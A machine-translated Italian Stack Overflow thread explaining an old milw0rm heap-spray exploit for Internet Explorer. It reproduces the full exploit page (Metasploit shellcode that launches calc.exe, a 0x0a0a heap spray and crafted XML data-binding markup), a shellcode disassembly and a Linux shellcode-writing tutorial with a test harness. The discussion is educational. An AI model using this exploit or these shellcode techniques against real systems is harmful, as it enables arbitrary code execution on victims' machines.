Come funziona questo exploit di spruzzatura dell'heap milw0rm?


145

Di solito non ho difficoltà a leggere il codice JavaScript, ma per questo non riesco a capire la logica. Il codice proviene da un exploit che è stato pubblicato 4 giorni fa. Lo puoi trovare su milw0rm .

Ecco il codice:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Ecco cosa credo che faccia e vorrei che mi aiutassi per la parte che fraintendo.

La variabile shellcodecontiene il codice per aprire il filecalc.exe . Non capisco come abbiano trovato quella strana stringa. Qualche idea?

La seconda cosa è la variabile spray . Non capisco questo strano ciclo.

La terza cosa è la variabile memory che non viene mai utilizzata da nessuna parte. Perché lo creano?

Ultima cosa: cosa fa il tag XML nella pagina?


Per il momento ho buone risposte, ma soprattutto risposte molto generiche. Vorrei ulteriori spiegazioni sul valore del codice. Un esempio è unescape("%u0a0a%u0a0a");. Cosa significa? Stessa cosa per il ciclo: perché lo sviluppatore ha scritto length < 0xd0000:? Vorrei una comprensione più profonda, non solo la teoria di questo codice.


Dovresti esaminare Heap
Spraying

Come gestiamo con successo questo exploit? Dobbiamo eseguirlo in IE?
bad_keypoints il

Risposte:


320

Lo shellcode contiene alcune istruzioni di assemblaggio x86 che faranno l'exploit effettivo. spraycrea una lunga sequenza di istruzioni che verranno inserite memory. Dato che di solito non riusciamo a trovare la posizione esatta del nostro shellcode in memoria, mettiamo molte nopistruzioni prima di farlo e saltiamo da qualche parte lì. L' memoryarray conterrà l'attuale codice x86 insieme al meccanismo di salto. Forniremo l'XML predisposto alla libreria che presenta un bug. Quando viene analizzato, il bug causerà l'assegnazione del registro del puntatore all'istruzione da qualche parte nel nostro exploit, portando a un'esecuzione arbitraria del codice.

Per capire più a fondo, dovresti effettivamente capire cosa c'è nel codice x86. unscapeverrà utilizzato per inserire la sequenza di byte rappresentati dalla stringa nella sprayvariabile. È un codice x86 valido che riempie una grande porzione dell'heap e passa all'inizio del codice shell. Il motivo della condizione finale è la limitazione della lunghezza della stringa del motore di scripting. Non puoi avere stringhe più grandi di una lunghezza specifica.

Nell'assieme x86, 0a0arappresenta or cl, [edx]. Questo è effettivamente equivalente alle nopistruzioni ai fini del nostro exploit. Ovunque saltiamo nel spray, passeremo all'istruzione successiva fino a quando non raggiungiamo lo shellcode che è il codice che vogliamo effettivamente eseguire.

Se guardi l'XML, vedrai che 0x0a0ac'è anche lì. Descrivere esattamente cosa succede richiede una conoscenza specifica dell'exploit (devi sapere dove si trova il bug e come viene sfruttato, cosa che non conosco). Tuttavia, sembra che forziamo Internet Explorer ad attivare il codice buggy impostando innerHtmlquella stringa XML dannosa. Internet Explorer tenta di analizzarlo e il codice errato in qualche modo dà il controllo di una posizione di memoria in cui esiste l'array (poiché è un grosso blocco, la probabilità di saltare lì è alta). Quando saltiamo lì, la CPU continuerà a eseguire le or cl, [edx]istruzioni fino a quando non raggiunge l'inizio del codice shell che viene messo in memoria.

Ho smontato il codice shell:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

La comprensione di questo codice shell richiede la conoscenza dell'assembly x86 e il problema nella libreria MS stessa (per sapere quale sia lo stato del sistema quando arriviamo qui), non JavaScript! Questo codice verrà a sua volta eseguito calc.exe.


13
Apprezzo questo tuo sforzo per questa spiegazione. +25 reputazioni e tutto il mio rispetto. Grazie
Patrick Desjardins il

20
ottima risposta ma buon signore - improvvisamente non sono bravo con il computer ;-)
nome utente

50
Sono stupito dalle persone che riescono a inventare questo tipo di exploit. Se sono abbastanza intelligenti da hackerare il conto bancario di qualcuno con questo, si meritano tutti i soldi che possono rubare;)
Martin

8
Se ci fosse un santuario di buone risposte per SO, questo sarebbe in esso.
San Jacinto,

6
Lo smontaggio sembra privo di senso e completamente casuale. Non può essere giusto. Ho provato a scambiare byte, supponendo che i caratteri in una stringa fossero memorizzati in little-endian, ma non mi è stato di aiuto.
Juho Östman,

10

Sembra un exploit del recente bug di Internet Explorer per il quale Microsoft ha rilasciato la patch di emergenza. Utilizza un difetto nella funzionalità di database del gestore XML di Microsoft, che causa la allocazione errata della memoria dell'heap.

Shellcode è il codice macchina che verrà eseguito quando si verifica il bug. Spray e memoria sono solo alcuni degli spazi allocati sull'heap per favorire il verificarsi della condizione sfruttabile.


Pensi che alcune cose del genere potrebbero accadere con le estensioni di Chrome?
bad_keypoints il


2

Ogni volta che vedo memoria che non viene indirizzata in una discussione di exploit, il mio primo pensiero è che l'exploit sia una sorta di overflow del buffer, nel qual caso la memoria sta causando l'overflow del buffer o vi si accede dopo l'overflow del buffer .


In questo caso non è stato un danneggiamento dell'heap, sovraccarico del buffer basato sull'heap
Grant Wagner,



0

Semplice esempio di shellcode

Ciao mondo in assemblea at & t sintassi x86 Credo (Wizard in Training).

imposta il file:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

compilare in questo modo:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Ora hai un binario che stampa ciao mondo. per convertire il binario in codice shell digitare:objdump -D shellcode

otterrai l'output:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Ora se guardi la quarta riga con il testo vedrai: 400078: eb 1a jmp 0x400094

la parte che dice eb 1aè la rappresentazione esadecimale dell'istruzione assembly in jmp onecui "one" è l'indirizzo di memoria della stringa.

per preparare il tuo shellcode per l'esecuzione apri un altro file di testo e archivia i valori esadecimali in una matrice di caratteri. Per formattare correttamente il codice della shell, digitare un \xprima di ogni valore esadecimale.

l'esempio di codice shell imminente sarà simile al seguente in base all'output del comando objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Questo esempio usa C per l'array. Ora hai shellcode funzionante che scriverà su stdout "ciao mondo"

puoi testare il codice della shell mettendolo in una vulnerabilità oppure puoi scrivere il seguente programma c per testarlo:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Per compilare il tipo di programma in:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

funziona con ./run Sai un esempio funzionante di semplice sviluppo di shellcode che è stato testato in Linux mint / debian.


1
Non utilizzare l' int 0x80ABI a 32 bit nel codice a 64 bit. Non funzionerà per le stringhe nello stack, perché il kernel osserva solo i 32 bit bassi degli arg di syscall. Cosa succede se si utilizza l'ABI Linux 0x80 int a 32 bit nel codice a 64 bit? . (In tal caso, creeresti un ciclo infinito, perché sys_writeritornerebbe -EFAULTe lasceresti mov $1, %alimpostati i bit superiori, in modo da ottenere -ENOSYSinvece che sys_exit). Inoltre, nel codice a 64 bit è possibile semplicemente jmpinoltrare la stringa e utilizzare un RIP relativo leaper ottenere l'indirizzo, anziché call / pop.
Peter Cordes,

1
Questo fallirà anche per gcc che costruisce gli eseguibili PIE di default, perché anche il tuo array di caratteri di archiviazione statica sarà fuori dai 32 bit bassi. (E a proposito, se fosse const char payload[]allora sarebbe nel segmento di testo (nella sezione .rodata) e non ne avresti bisogno -z execstack.)
Peter Cordes,

1
Inoltre, movl 4, %raxcontiene un byte zero (e non verrà assemblato a causa della mancata corrispondenza della dimensione dell'operando e manca a, $quindi il 4 è un indirizzo assoluto). Penso che tu abbia pubblicato una versione precedente della tua fonte. I miei commenti precedenti sono quelli relativi allo smontaggio in cui hai aggiunto una sys_exitchiamata.
Peter Cordes,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.